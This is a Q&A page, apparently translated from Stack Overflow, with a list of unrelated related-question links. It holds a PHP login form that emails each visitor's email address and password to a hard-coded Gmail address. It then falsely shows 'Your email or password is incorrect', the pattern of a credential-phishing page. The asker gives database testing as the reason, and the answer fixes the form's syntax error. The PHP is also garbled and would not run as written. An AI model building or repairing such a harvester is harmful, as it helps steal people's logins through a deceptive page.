php - 如何通过 php 从 html 发送电子邮件?
问题描述
我想建立一个网站(小型)我想让人们能够发送写他们的用户名和密码以发送到我的电子邮件(因为我仍在开发一个数据库,我想确保它是否可以工作)
我试图将 php 与 html 放在同一个文件中,但是当它处理代码时,它只显示代码但不运行它
<html>
<head>
<?php
if(isset)($_POST['name']) && isset($_POST['email'])) {
$pass = $_POST['pass'];
$email = $_POST['email'];
$to = 'omar12haytham@gmail.com';
$subject = 'Password';
$body = '<html>
<body>
<h2>Hello</h2>
<hr>
<p>Email<br>' . $email . '</p>
<p>Password<br>' . $pass . '</p>
</body>
</html>';
//headers
$headers = "From: ".$name." <".$email.">\r\n";
$headers .= "Reply-To: ".$email."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=utf-8";
//send
$send = mail($to, $subject, $body, $headers);
if ($send) {
echo '<br>';
echo 'Your email or password is incorrect';
} else {
echo error;
}
}
</head>
?>
<body>
<form action="" method="post">
<input type="text" name="name" placeholder="Write your email"><br>
<input type="password" name="email" placeholder="Write your password"><br>
<button type="submit">Log in</button>
</form>
</body>
</html>
我希望它会向我发送一封电子邮件,但我不需要启动它吗?我正在将其作为 .html 文件而不是作为工作网站进行测试。
解决方案
这段代码不起作用:isset)($_POST['name'])
改用if(isset($_POST["name"]))
推荐阅读
- java - 如何使用 google ml api 修复无效范围(400 错误请求)
- rest - 单击按钮时刷新 amp-list 内容
- ios - iOS 13.1 PDFKit PDFView.go(to page:) 不工作
- node.js - 在前端显示 pdf blob 字符串作为预览
- javascript - 具有多个动态字段的文本框或文本区域
- python - 计算文本文件中每个字符串后面包含数字的行数
- flutter - 注销按钮只是在颤动的当前页面顶部添加一个新页面
- dynamics-crm - 在 MS Dynamics 的单个阶段中添加/合并 2 个阶段(本地或在线)
- docker - 在环境变量中指定的端口而不是 9000 上启动 sonarqube
- macos - 可可应用程序进入全屏不显示键盘快捷键